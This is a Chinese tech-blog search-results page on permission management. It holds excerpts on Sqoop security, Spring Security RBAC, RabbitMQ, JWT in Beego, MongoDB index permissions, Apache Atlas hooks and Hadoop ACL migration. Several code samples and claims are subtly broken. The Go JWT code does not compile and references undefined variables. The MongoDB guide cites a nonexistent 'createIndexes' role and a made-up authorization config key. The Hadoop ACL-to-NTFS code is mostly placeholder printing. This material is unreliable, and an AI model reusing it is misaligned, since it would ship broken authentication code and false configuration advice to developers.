前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[数据库权限管理与授权 DCL ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Sqoop
...理解Sqoop工具的数据安全传输机制,尤其是如何通过SSL/TLS加密技术强化数据安全性后,进一步关注当前大数据环境下数据安全防护的最新动态与实践显得尤为重要。近期,Apache社区持续优化和增强Hadoop生态系统的安全特性,包括Sqoop在内的多个项目都已实现对更高级加密算法的支持,并强调在数据迁移过程中实施端到端的安全策略。 2021年,Cloudera在其最新的数据保护方案中就特别提到了对Sqoop数据迁移过程中的安全加固措施,引入了FIPS 140-2兼容加密模块以满足政府和企业对敏感数据处理的严格合规要求。同时,业界也在积极推动开源项目间的整合,例如通过整合Kerberos身份验证体系与Sqoop工具,实现了跨系统的无缝、安全数据交换。 此外,随着GDPR(欧盟一般数据保护条例)等法规的出台,全球范围内对于数据隐私保护的关注度达到了前所未有的高度。这就要求我们在使用诸如Sqoop这样的数据迁移工具时,不仅要考虑SSL/TLS加密等基础安全措施,还要充分考虑数据生命周期内的权限管理、审计追踪以及数据脱敏等深度防御手段。 综上所述,在面对日益严峻的数据安全挑战时,我们应紧跟行业前沿,不断学习和掌握新的安全技术和最佳实践,以确保Sqoop等大数据工具在高效完成任务的同时,也能有效保障数据的安全性和隐私性。
2023-10-06 10:27:40
184
追梦人-t
SpringBoot
权限管理 , 权限管理是一种确保用户只能访问其被明确授权的资源和功能的技术和流程。在软件系统中,权限管理通常涉及用户身份验证、角色分配以及访问控制等环节。例如,在一个用户管理系统中,权限管理可以确保只有管理员才能添加或删除用户账号,而普通用户只能查看自己的信息。这通过设定不同级别的权限来实现,如读取、写入或删除等,从而维护系统的安全性和数据的完整性。 Spring Security , Spring Security 是一个强大的、高度可定制的安全框架,适用于现代Java应用程序,特别是基于Spring的Web应用程序。它提供了广泛的安全服务,如身份验证、授权、防护跨站请求伪造(CSRF)等。在文章中,Spring Security被用来实现权限控制,通过注解(如@PreAuthorize)来限制特定用户或角色对系统资源的操作。例如,只有具有管理员角色的用户才能添加或删除用户信息。Spring Security的灵活配置选项使得开发者能够轻松地根据需求调整安全策略,以满足不同的应用场景。 RBAC , RBAC即基于角色的访问控制(Role-Based Access Control),是一种常见的访问控制机制,通过将权限分配给角色而非单个用户来简化权限管理。在RBAC模型中,用户被赋予不同的角色,每个角色又关联一系列的权限。这种方式极大地简化了权限分配和管理过程,尤其适合大型系统。文章中提到使用RBAC模型来增强权限管理,通过配置不同的角色(如管理员和普通用户)及其对应的权限,实现了更细粒度的访问控制。例如,管理员角色可以执行添加或删除用户的操作,而普通用户角色则仅限于查看自己的信息。这种方法不仅提高了系统的安全性,还便于管理和扩展。
2024-11-02 15:49:32
61
醉卧沙场
MySQL
...e Sqoop作为大数据生态体系中的关键组件,持续在数据迁移和整合方面发挥着重要作用。近期,随着云原生技术的快速发展,Sqoop也正在适应新的环境变化。例如,Cloudera公司推出了在容器化环境下优化的Sqoop 2.0版本,支持Kubernetes等云平台部署,增强了其在混合云和多云场景下的数据迁移能力。 与此同时,对于大规模数据导入导出性能优化的研究也在不断深入。有研究人员探讨了如何结合Spark或Flink等现代大数据处理框架与Sqoop进行协同工作,以提升数据迁移效率并确保数据一致性。此外,业界也在探索通过引入并发控制策略、改进分区算法等方式来进一步优化Sqoop的工作负载管理。 值得注意的是,虽然Sqoop在关系型数据库与Hadoop之间架起了一座桥梁,但在数据迁移过程中,安全性与合规性问题同样不容忽视。因此,关于Sqoop的数据加密传输、权限管理和审计日志等相关功能的使用与配置教程,成为了许多企业和组织关注的焦点。 总之,在大数据时代背景下,Apache Sqoop的重要性不言而喻,而随着技术进步和行业需求的变化,Sqoop将继续发展和完善,为企业在复杂IT架构下实现高效、安全的数据流动提供有力支持。
2023-04-12 16:50:07
247
素颜如水_t
转载文章
...,Android应用权限管理已成为用户隐私保护和网络安全的重要议题。近日,多家知名科技媒体及安全机构报道了关于应用程序过度获取权限的现象,尤其是位置信息、网络访问以及对手机状态和身份读取等敏感权限的使用问题。 例如,《连线》杂志近期发布的一篇深度分析文章指出,某些应用程序在无明显功能需求的情况下申请大量权限,可能导致用户数据泄露风险增大。作者强调,尽管Android系统已逐步强化权限管理机制,但用户自身也需提高警惕,审慎对待每一次权限请求,并定期检查与清理不必要的权限授权。 此外,谷歌公司也在不断优化其Play Store的政策,加强对开发者提交的应用程序进行严格的权限审查。据《TechCrunch》报道,谷歌正计划实施更为细化的权限分类管理,以便用户能更清晰地了解应用所需权限的真实用途,并做出明智的决定。 与此同时,专家建议用户及时更新操作系统以获取最新的安全补丁,同时采用可靠的安全软件监测应用行为,防止滥用权限的行为发生。在未来,随着GDPR(欧盟一般数据保护条例)等法规在全球范围内的影响扩大,如何平衡便利性与隐私保护,将成为Android生态系统持续关注并解决的关键课题。 总之,在这个数字化时代,掌握并有效管理Android应用权限不仅关乎个人隐私,也是维护整个移动网络生态安全的重要环节。用户应不断提升信息安全意识,合理授予应用权限,而开发者则需遵循透明、合法、必要的原则来设计和请求权限,共同构建一个更加安全、可信的移动应用环境。
2023-10-10 14:42:10
104
转载
Apache Solr
...本特别强调了对大规模数据集的支持,以及对复杂查询的处理能力。Solr 9.0版本引入了全新的查询引擎,该引擎采用了先进的算法,可以显著提升查询效率,特别是在处理高并发请求时表现尤为突出。此外,新版Solr还增强了索引压缩功能,使得索引存储更加高效,降低了磁盘I/O开销,这对于大数据环境下的性能提升尤为重要。 同时,Solr社区也在不断推动对分布式架构的支持。新版Solr支持更灵活的分片策略,可以根据不同的业务场景进行定制化配置,从而更好地应对大规模数据的查询需求。此外,新版Solr还引入了更强大的缓存机制,包括更细粒度的缓存控制和预热策略,进一步提升了查询性能。 值得注意的是,Solr 9.0版本还加强了安全性功能,引入了基于角色的访问控制(RBAC)机制,使得权限管理更加灵活和安全。这对于企业级应用来说尤为重要,可以有效防止敏感数据泄露。 此外,Solr社区还推出了一系列在线培训课程和文档资源,帮助开发者更好地理解和使用新版本的功能。这些资源不仅涵盖了基本的操作指南,还包括了最佳实践案例和性能调优技巧,对于希望深入了解Solr的新手和老手都大有裨益。 总之,Solr 9.0版本的发布标志着Solr在性能、可扩展性和安全性方面迈出了重要的一步。对于正在使用Solr的企业用户来说,升级到最新版本无疑是一个值得考虑的选择。
2025-02-08 16:04:27
36
蝶舞花间
RabbitMQ
...定的事件,实现高效的数据同步与处理。 面临的挑战与应对策略 1. 性能优化:随着微服务数量的增加,消息队列的压力也随之增大。为应对这一挑战,可以通过优化网络配置、增加服务器资源、引入消息队列水平扩展策略等方式,提升RabbitMQ的吞吐量和响应速度。 2. 数据一致性问题:在高并发环境下,数据的一致性问题尤为突出。通过设计合理的消息处理流程,引入消息队列的事务机制,或者使用幂等性设计,可以在一定程度上解决这一问题。 3. 安全性与权限管理:随着微服务的规模扩大,如何保证消息传输的安全性和权限管理的严谨性成为重要议题。通过实施严格的认证、授权机制,以及加密传输等手段,可以有效提升RabbitMQ的安全性。 4. 监控与日志管理:实时监控RabbitMQ的运行状态,包括消息队列的长度、消费者状态、延迟时间等关键指标,有助于及时发现和解决问题。同时,建立完善的日志体系,便于追踪消息流经的路径和处理过程,对于问题定位和性能优化具有重要意义。 总之,RabbitMQ在微服务架构中的应用既带来了便利,也伴随着挑战。通过持续的技术优化与管理策略的创新,可以有效克服这些问题,充分发挥RabbitMQ在构建高效、可靠、可扩展的现代应用程序中的潜力。
2024-08-01 15:44:54
179
素颜如水
Beego
...的JWT令牌生命周期管理 引言 在构建现代Web应用时,安全性和可扩展性是至关重要的考虑因素。哎呀,你听过JWT吗?它就像是身份验证的小秘密武器,特别是对于那些不想在服务器端搞一堆复杂会话管理的小伙伴来说,简直太完美了!因为它超级轻便,不需要在服务器那边搞一堆额外的负担,就能搞定用户的登录验证和权限管理,所以用的人可多了去了!本文将深入探讨如何在Beego框架中集成和管理JWT令牌的生命周期,包括生成、验证、刷新以及过期处理,旨在为开发者提供一套全面且易于实施的解决方案。 1. JWT基础与Beego整合 JWT是一种基于JSON的开放标准,用于在客户端和服务器之间传递安全信息。它由三个部分组成:头部、载荷和签名。哎呀,这个头儿啊,就像快递包裹上的标签一样,上面写着各种算法和类型的信息,就像收件人地址和物品名称。包裹里面装的可就是用户的私货啦,比如个人信息、数据啥的。最后那个签名呢?就像是快递小哥在包裹上按的手印,用加密的方法保证了这东西是没被偷看或者变过样,而且能确认是它家快递员送来的,不是冒牌货。 在Beego框架中,我们可以利用第三方库如jwt-go来简化JWT的生成和验证过程。首先,需要在项目的依赖文件中添加如下内容: bash go get github.com/dgrijalva/jwt-go 接下来,在你的控制器中引入并使用jwt-go库: go package main import ( "github.com/dgrijalva/jwt-go" "github.com/beego/beego/v2/client/orm" "net/http" ) // 创建JWT密钥 var jwtKey = []byte("your-secret-key") type User struct { Id int64 orm:"column(id);pk" Name string orm:"column(name)" } func main() { // 初始化ORM orm.RegisterModel(new(User)) // 示例:创建用户并生成JWT令牌 user := &User{Name: "John Doe"} err := orm.Insert(user) if err != nil { panic(err) } token, err := createToken(user.Id) if err != nil { panic(err) } http.HandleFunc("/login", func(w http.ResponseWriter, r http.Request) { w.Write([]byte(token)) }) http.ListenAndServe(":8080", nil) } func createToken(userId int64) (string, error) { claims := jwt.StandardClaims{ Issuer: "YourApp", ExpiresAt: time.Now().Add(time.Hour 24).Unix(), Subject: userId, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString(jwtKey) } 2. JWT验证与解码 在用户请求资源时,我们需要验证JWT的有效性。Beego框架允许我们通过中间件轻松地实现这一功能: go func authMiddleware(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r http.Request) { tokenHeader := r.Header.Get("Authorization") if tokenHeader == "" { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } tokenStr := strings.Replace(tokenHeader, "Bearer ", "", 1) token, err := jwt.Parse(tokenStr, func(token jwt.Token) (interface{}, error) { if _, ok := token.Method.(jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) } return jwtKey, nil }) if err != nil { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } if !token.Valid { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) } } http.HandleFunc("/protected", authMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 根据UserID获取用户信息或其他操作... }))) 3. 刷新令牌与过期处理 为了提高用户体验并减少用户在频繁登录的情况下的不便,可以实现一个令牌刷新机制。当JWT过期时,用户可以发送请求以获取新的令牌。这通常涉及到更新JWT的ExpiresAt字段,并相应地更新数据库中的记录。 go func refreshToken(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 更新数据库中的用户信息以延长有效期 err := orm.Update(&User{Id: userID}, "expires_at = ?", time.Now().Add(time.Hour24)) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } newToken, err := createToken(userID) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } w.Write([]byte(newToken)) } 4. 总结与展望 通过上述步骤,我们不仅实现了JWT在Beego框架下的集成与管理,还探讨了其在实际应用中的实用性和灵活性。JWT令牌的生命周期管理对于增强Web应用的安全性和用户体验至关重要。哎呀,你懂的,就是说啊,咱们程序员小伙伴们要是能不断深入研究密码学这门学问,然后老老实实地跟着那些最佳做法走,那在面对各种安全问题的时候就轻松多了,咱开发出来的系统自然就又稳当又高效啦!就像是有了金刚钻,再硬的活儿都能干得溜溜的! 在未来的开发中,持续关注安全漏洞和最佳实践,不断优化和升级JWT的实现策略,将有助于进一步提升应用的安全性和性能。哎呀,随着科技这玩意儿越来越发达,咱们得留意一些新的认证方式啦。比如说 OAuth 2.0 啊,这种东西挺适合用在各种不同的场合和面对各种变化的需求时。你想想,就像咱们出门逛街,有时候用钱包,有时候用手机支付,对吧?认证机制也一样,得根据不同的情况选择最合适的方法,这样才能更灵活地应对各种挑战。所以,探索并尝试使用 OAuth 2.0 这类工具,让咱们的技术应用更加多样化和适应性强,听起来挺不错的嘛!
2024-10-15 16:05:11
70
风中飘零
Mongo
... 一、引言 索引与数据库性能 在 MongoDB 数据库管理中,索引是提高查询效率的关键工具。哎呀,你知道吗?在我们的数据仓库里,有时候查找信息就像在大海里捞针一样,特别慢。不过,有一个秘密武器能帮我们提速,那就是创建索引!就像你在图书馆里,如果书都按类别和字母顺序排列好,找起书来是不是快多了?索引就是这么个原理,它把我们关心的字段整理好,这样当我们需要查询时,数据库就能直接跳到对应的位置,不用翻遍整个仓库,大大提高了速度,让数据响应更快,用户体验也更棒!哎呀,你可能在搞数据库操作的时候遇到了点小麻烦。比如说,你正兴致勃勃地想给数据表添个索引,让它跑得更快更顺溜,结果却蹦出个怪怪的错误信息:“IndexBuildingPrivilegeNotFound”。这意思就是说,你的小手还缺那么一丁点儿权限,没法儿建索引呢!别急,你只需要去找管理员大哥,或者自己在设置里开开这个权限开关,问题就迎刃而解啦!记得,权限这东西可得小心用,别乱来,不然可能会影响整个系统的稳定性和安全呢。嘿,小伙伴们!这篇文章就像是一次探险之旅,带你深入探索这个棘手问题的根源,揭秘那些神奇的解决策略,顺便给你几个小贴士,让你在日后的生活中轻松避开这些坑坑洼洼。准备好出发了吗?让我们一起揭开谜团,让生活变得更加顺畅吧! 二、理解索引权限问题 在 MongoDB 中,当你尝试创建索引时,系统会检查你是否有足够的权限来执行这个操作。这通常涉及到两个主要方面: 1. 用户角色 你需要被赋予正确的角色,这些角色允许你在特定的数据库上创建索引。 2. 数据库配置 确保你的 MongoDB 配置允许创建索引,并且相关角色已正确分配给用户。 三、排查步骤与解决策略 面对 “IndexBuildingPrivilegeNotFound” 错误,以下是一些排查和解决问题的步骤: 1. 确认用户角色 - 使用 db.getUsers() 或 db.runCommand({ users: 1 }) 命令查看当前用户的角色及其权限。 - 确认是否拥有 db.createUser 和 createIndexes 权限。 javascript // 创建新用户并赋予权限 db.createUser({ user: "indexCreator", pwd: "password", roles: [ { role: "readWrite", db: "yourDatabase" }, { role: "createIndexes", db: "yourDatabase" } ] }); 2. 检查数据库配置 - 确保你的 MongoDB 实例允许创建索引。可以通过查看 /etc/mongod.conf(Linux)或 mongod.exe.config(Windows)文件中的配置选项来确认。 - 确保 security.authorizationMechanism 设置为 mongodb 或 scram-sha-1。 3. 权限验证 - 使用 db.auth("username", "password") 命令验证用户身份和权限。 javascript db.auth("indexCreator", "password"); 四、预防与最佳实践 为了避免此类错误,遵循以下最佳实践: - 权限最小化原则:只为需要执行特定操作的用户赋予必要的权限。 - 定期审核权限:定期检查数据库中的用户角色和权限设置,确保它们与当前需求相匹配。 - 使用角色聚合:考虑使用 MongoDB 的角色聚合功能来简化权限管理。 五、总结与反思 在 MongoDB 中管理索引权限是一个既关键又细致的过程。哎呀,兄弟!掌握并恰到好处地运用这些招数,不仅能让你在处理数据库这事儿上效率爆棚,还能给你的系统安全和稳定打上一个大大的保险扣儿。就像是有了秘密武器一样,让数据跑得快又稳,而且还能防着那些不怀好意的小坏蛋来捣乱。这样一来,你的数据保管工作就不仅是个技术活,还成了守护宝藏的秘密行动呢!哎呀,你遇到了“IndexBuildingPrivilegeNotFound”的小麻烦?别急嘛,我来给你支个招!按照我刚刚说的步骤一步步来,就像解密游戏一样,慢慢找啊找,你会发现那个藏起来的小秘密。说不定,问题就在这儿呢!找到原因了,解决起来自然就快多了,就像解开了一道数学难题,是不是超有成就感的?别忘了,耐心是关键,就像慢慢炖一锅好汤,火候到了,味道自然就出来了。加油,你一定行的!嘿!兄弟,听好了,每次碰上难题,那都是咱们提升自己,长知识的好时机,就像我们在数据库这片大海上航行,每一步都让咱们更懂水性,越来越厉害! --- 通过本文的探索,我们不仅解决了“IndexBuildingPrivilegeNotFound”这一常见问题,还深入了解了索引在数据库性能优化中的重要性,以及如何通过正确的权限管理和配置来确保数据库操作的顺利进行。希望这篇文章能为 MongoDB 用户提供有价值的参考,共同提升数据库管理的效率和安全性。
2024-10-14 15:51:43
88
心灵驿站
Apache Atlas
...las”,一款开源的数据治理工具。说实话,当我第一次听说它的时候,内心是既兴奋又紧张的。为啥呢?就因为它那个功能听着也太牛了吧!数据分类、管元数据、还能追踪数据的来龙去脉……这不就跟个啥都能搞定的“数据保姆”似的嘛! 但现实往往比想象复杂得多。哎呀,在捣鼓Apache Atlas的时候,真是被一个问题给卡住了——Hook 部署老是失败,气得我直挠头!这就跟做菜的时候,正打算大显身手呢,结果一瞧,盐和糖给放反了位置,那感觉简直要抓狂了,想直接躺平不干了! 不过别担心,咱们今天就来聊聊这个问题,看看能不能找到解决办法。毕竟,解决问题的过程本身就是一种成长嘛! --- 2. Hook是什么?为什么它如此重要? 在深入探讨问题之前,我们得先搞清楚什么是“Hook”。简单来说,Hook就是Apache Atlas用来与其他系统(比如Hive、Kafka等)集成的一种机制。有了这些“钩子”,Atlas就能在一旁盯着目标系统的一举一动,还能自动记下相关的各种小细节。 举个例子,如果你有一个Hive表被创建了,Atlas可以通过Hive Hook实时记录下这个事件,包括表名、字段定义、所属数据库等信息。这么做的好处嘛,简直不要太明显!就好比给你的数据加上了一个“出生证”和“护照”,不仅能随时知道它是从哪儿来的、去过哪儿,还能记录下它一路上经历的所有变化。这样一来,管理起来就方便多了,也不用担心数据会“走丢”或者被搞砸啦! 然而,正因如此,Hook的部署显得尤为重要。要是Hook没装好,那Atlas就啥元数据也收不到啦,整个数据治理的工作就得卡在那里干瞪眼了。这也是为什么当我的Hook部署失败时,我会感到特别沮丧的原因。 --- 3. 部署失败 从错误日志中寻找线索 那么,Hook到底为什么会部署失败呢?为了找出答案,我打开了Atlas的日志文件,开始逐行分析那些晦涩难懂的错误信息。说实话,第一次看这些日志的时候,我直接傻眼了,那感觉就跟对着一堆乱码似的,完全摸不着头脑。 不过,经过一番耐心的研究,我发现了一些关键点。比如: - 依赖冲突:有些情况下,Hook可能会因为依赖的某些库版本不兼容而导致加载失败。 - 配置错误:有时候,我们可能在application.properties文件中漏掉了必要的参数设置。 - 权限不足:Hook需要访问目标系统的API接口,但如果权限配置不当,自然会报错。 为了验证我的猜测,我决定先从最简单的配置检查做起。打开atlas-application.properties文件,我仔细核对了以下内容: properties atlas.hook.kafka.enabled=true atlas.hook.kafka.consumer.group=atlas-kafka-group atlas.kafka.bootstrap.servers=localhost:9092 确认无误后,我又检查了Kafka服务是否正常运行,确保Atlas能够连接到它。虽然这一系列操作看起来很基础,但它们往往是排查问题的第一步。 --- 4. 实战演练 动手修复Hook部署失败 接下来,让我们一起动手试试如何修复Hook部署失败吧!首先,我们需要明确一点:问题的根源可能有很多,因此我们需要分步骤逐一排除。 Step 1: 检查依赖关系 假设我们的Hook是基于Hive的,那么首先需要确保Hive的客户端库已经正确添加到了项目中。例如,在Maven项目的pom.xml文件里,我们应该看到类似如下的配置: xml org.apache.hive hive-jdbc 3.1.2 如果版本不对,或者缺少了必要的依赖项,就需要更新或补充。记得每次修改完配置后都要重新构建项目哦! Step 2: 调试日志级别 为了让日志更加详细,帮助我们定位问题,可以在log4j.properties文件中将日志级别调整为DEBUG级别: properties log4j.rootLogger=DEBUG, console 这样做虽然会让日志输出变得冗长,但却能为我们提供更多有用的信息。 Step 3: 手动测试连接 有时候,Hook部署失败并不是代码本身的问题,而是网络或者环境配置出了差错。这时候,我们可以尝试手动测试一下Atlas与目标系统的连接情况。例如,对于Kafka Hook,可以用下面的命令检查是否能正常发送消息: bash kafka-console-producer.sh --broker-list localhost:9092 --topic test-topic 如果这条命令执行失败,那就可以确定是网络或者Kafka服务的问题了。 --- 5. 总结与反思 成长中的点滴收获 经过这次折腾,我对Apache Atlas有了更深的理解,同时也意识到,任何技术工具都不是万能的,都需要我们投入足够的时间和精力去学习和实践。 最后想说的是,尽管Hook部署失败的经历让我一度感到挫败,但它也教会了我很多宝贵的经验。比如: - 不要害怕出错,错误往往是进步的起点; - 日志是排查问题的重要工具,要学会善加利用; - 团队合作很重要,遇到难题时不妨寻求同事的帮助。 希望这篇文章对你有所帮助,如果你也有类似的经历或见解,欢迎随时交流讨论!我们一起探索技术的世界,共同进步!
2025-04-03 16:11:35
60
醉卧沙场
转载文章
...受感染系统的深层访问权限,以维持长期、未被察觉的控制。在本文中,Sysinternals提供的RootkitRevealer工具即用于扫描并检测系统上是否存在基于Rootkit的恶意代码。 NTFS(New Technology File System) , NTFS是Windows NT操作系统系列采用的一种高级文件系统,相较于早期的FAT系统,它提供了更高效的数据存储和安全性特性。文中提到的NTFSInfo工具就是用来查看详细的NTFS分区信息,包括主文件表(MFT)、MFT区域大小与位置,以及NTFS元数据文件大小等重要信息。 Active Directory , Active Directory是Microsoft Windows Server操作系统的一部分,提供网络环境中的中央身份认证、授权与目录服务功能。管理员可以利用Active Directory管理域内的用户账户、计算机、组策略、安全设置等资源。文章提及AdRestore工具能够恢复Server 2003 Active Directory对象,表明该工具在AD故障恢复场景中有重要作用。 登录会话(Logon Sessions) , 在多用户操作系统的环境中,登录会话是指用户通过验证后,在系统上创建的一个独立的工作环境,其中包含了用户的配置、权限和其他相关状态信息。Sysinternals工具集中的LogonSessions工具则能列出当前系统上的所有活动登录会话,帮助管理员监控和管理用户登录情况。 动态磁盘分区(Dynamic Disk Partitioning) , 动态磁盘是Windows操作系统中相对于基本磁盘而言的一种更为灵活的磁盘管理方式,它可以支持诸如跨多个物理磁盘的卷扩展等功能。LDMDump工具在文章中被提及,作用是倾倒逻辑磁盘管理器在Windows 2000动态磁盘分区上的数据库内容,从而让管理员了解和分析动态磁盘的详细配置信息。
2024-01-22 15:44:41
102
转载
Javascript
...商网站中,高效的请求管理变得尤为重要。例如,Facebook最近在其新版应用程序中引入了基于AbortError的优化策略,以减少不必要的后台数据同步操作。这一举措显著降低了移动端设备的能耗和内存占用,得到了用户的普遍好评。 与此同时,Google Chrome团队也在最新版本中加强了对AbortError的支持,新增了一项名为“智能取消”的功能。这项功能可以根据用户的操作习惯动态调整未完成请求的优先级,从而提升整体浏览体验。例如,在用户快速切换页面时,系统会自动取消低优先级的任务,确保核心功能的流畅运行。这种技术不仅减少了资源浪费,还大幅缩短了页面加载时间。 从技术角度来看,AbortError的应用不仅仅局限于前端开发。在后端服务中,通过结合WebSocket和AbortSignal,开发者可以实现更高效的实时通信协议。例如,某知名在线教育平台利用这一特性,成功将课堂互动延迟从原来的500毫秒降低到100毫秒以下,极大改善了师生间的协作效率。 此外,随着《通用数据保护条例》(GDPR)在全球范围内的实施,AbortError也被赋予了新的法律意义。在涉及用户隐私的数据传输过程中,合理运用AbortError可以帮助企业更好地遵守法规要求,避免因违规操作而导致的巨额罚款。例如,某跨国科技公司在其云存储服务中引入了基于AbortError的权限管理系统,确保敏感信息在未经授权的情况下无法被访问或下载。 总之,AbortError作为现代Web开发的重要组成部分,正逐步渗透到各个领域。无论是提升用户体验、优化系统性能,还是保障数据安全,它都展现出了巨大的潜力。未来,随着更多创新应用场景的涌现,相信AbortError将在数字世界中发挥更大的作用。
2025-03-27 16:22:54
106
月影清风
Hadoop
...,朋友们!如果你对大数据处理感兴趣,那你一定听说过Hadoop这个名字。嘿,作为一个码农,我跟Hadoop的初次见面真的把我惊呆了!它的功能太牛了,感觉就像发现了一个全新的世界,简直太酷了吧!简单说呢,Hadoop就是一个开源的“大数据管家”,专门负责存东西、弄数据,而且不管数据多到啥程度,它都能应付得漂漂亮亮的!它就像是一个超级仓库,可以轻松应对各种规模的数据任务。 为什么Hadoop这么受欢迎呢?因为它解决了传统数据库在处理大规模数据时的瓶颈问题。比如说啊,你在一家电商公司当数据分析师,每天的工作就是跟上亿条用户的点击、浏览、下单这些行为记录打交道,简直就像在海量的信息海洋里淘宝一样!如果用传统的数据库,可能早就崩溃了。但Hadoop不一样,它可以将这些数据分散到多个服务器上进行并行处理,效率杠杠的! 不过,Hadoop的魅力远不止于此。嘿,大家好!今天我想跟你们分享一个关于Hadoop的超棒功能——它居然能让你在不同的访问控制协议之间轻松切换文件!是不是听着就很带感?哎呀,是不是觉得这事听着有点绕?别慌,我这就用大白话给你说道说道,保证你一听就明白! --- 二、什么是跨访问控制协议迁移? 首先,我们得明白什么是访问控制协议。简单说,就是规定谁可以访问你的数据以及他们能做些什么的规则。好比说啊,你有个公共文件柜,你想让一些人只能打开看看里面的东西,啥都不能动;但另外一些人呢,不仅能看,还能随便改,甚至直接把东西清空或者拿走。这就是访问控制协议的作用。 那么,“跨访问控制协议迁移”又是什么意思呢?想象一下,你有两个不同的系统,它们各自有自己的访问控制规则。比如说,一个是Linux那边的ACL(访问控制列表)系统,另一个则是Windows里的NTFS权限系统,两者各有各的玩法。现在,你要把文件从一个系统迁移到另一个系统,而且你还想保留原来的访问控制设置。这就需要用到跨访问控制协议迁移的技术了。 为什么要关心这个功能呢?因为现实世界中,企业往往会有多种操作系统和存储环境。要是你对文件的权限管理不当,那可就麻烦了,要么重要数据被泄露出去,要么一不小心就把东西给搞砸了。而Hadoop通过其强大的灵活性,完美地解决了这个问题。 --- 三、Hadoop如何实现跨访问控制协议迁移? 接下来,让我们来看看Hadoop是如何做到这一点的。其实,这主要依赖于Hadoop的分布式文件系统(HDFS)和它的API库。为了更好地理解,我们可以一步步来分析。 3.1 HDFS的基本概念 HDFS是Hadoop的核心组件之一,它是用来存储大量数据的分布式文件系统。这就像是一个超大号的硬盘,不过它有点特别,不是集中在一个地方存东西,而是把数据切成小块,分散到不同的“小房间”里去。这样做的好处是即使某个节点坏了,也不会影响整个系统的运行。 HDFS还提供了一套丰富的接口,允许开发者自定义文件的操作行为。这就为实现跨访问控制协议迁移提供了可能性。 3.2 实现步骤 实现跨访问控制协议迁移大致分为以下几个步骤: (1)读取源系统的访问控制信息 第一步是获取源系统的访问控制信息。比如,如果你正在从Linux系统迁移到Windows系统,你需要先读取Linux上的ACL配置。 java // 示例代码:读取Linux ACL import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; import java.io.IOException; public class AccessControlReader { public static void main(String[] args) throws IOException { Path path = new Path("/path/to/source/file"); FileSystem fs = FileSystem.get(new Configuration()); // 获取ACL信息 String acl = fs.getAclStatus(path).toString(); System.out.println("Source ACL: " + acl); } } 这段代码展示了如何使用Hadoop API读取Linux系统的ACL信息。可以看到,Hadoop已经为我们封装好了相关的API,调用起来非常方便。 (2)转换为目标系统的格式 接下来,我们需要将读取到的访问控制信息转换为目标系统的格式。比如,将Linux的ACL转换为Windows的NTFS权限。 java // 示例代码:模拟ACL到NTFS的转换 public class AclToNtfsConverter { public static void convert(String linuxAcl) { // 这里可以编写具体的转换逻辑 System.out.println("Converting ACL to NTFS: " + linuxAcl); } } 虽然这里只是一个简单的打印函数,但实际上你可以根据实际需求编写复杂的转换算法。 (3)应用到目标系统 最后一步是将转换后的权限应用到目标系统上。这一步同样可以通过Hadoop提供的API来完成。 java // 示例代码:应用NTFS权限 public class NtfsPermissionApplier { public static void applyPermissions(Path targetPath, String ntfsPermissions) { try { // 模拟应用权限的过程 System.out.println("Applying NTFS permissions to " + targetPath.toString() + ": " + ntfsPermissions); } catch (Exception e) { e.printStackTrace(); } } } 通过这三个步骤,我们就完成了从源系统到目标系统的访问控制协议迁移。 --- 四、实战演练 一个完整的案例 为了让大家更直观地理解,我准备了一个完整的案例。好啦,想象一下,我们现在要干的事儿就是把一个文件从一台Linux服务器搬去Windows服务器,而且还得保证这个文件在新家里的“门禁权限”跟原来一模一样,不能搞错! 4.1 准备工作 首先,确保你的开发环境中已经安装了Hadoop,并且配置好相关的依赖库。此外,还需要准备两台机器,一台装有Linux系统,另一台装有Windows系统。 4.2 编写代码 接下来,我们编写代码来实现迁移过程。首先是读取Linux系统的ACL信息。 java // 读取Linux ACL Path sourcePath = new Path("/source/file.txt"); FileSystem linuxFs = FileSystem.get(new Configuration()); String linuxAcl = linuxFs.getAclStatus(sourcePath).toString(); System.out.println("Linux ACL: " + linuxAcl); 然后,我们将这些ACL信息转换为NTFS格式。 java // 模拟ACL到NTFS的转换 AclToNtfsConverter.convert(linuxAcl); 最后,将转换后的权限应用到Windows系统上。 java // 应用NTFS权限 Path targetPath = new Path("\\\\windows-server\\file.txt"); NtfsPermissionApplier.applyPermissions(targetPath, "Full Control"); 4.3 执行结果 执行完上述代码后,你会发现文件已经被成功迁移到了Windows系统,并且保留了原有的访问控制设置。是不是很神奇? --- 五、总结与展望 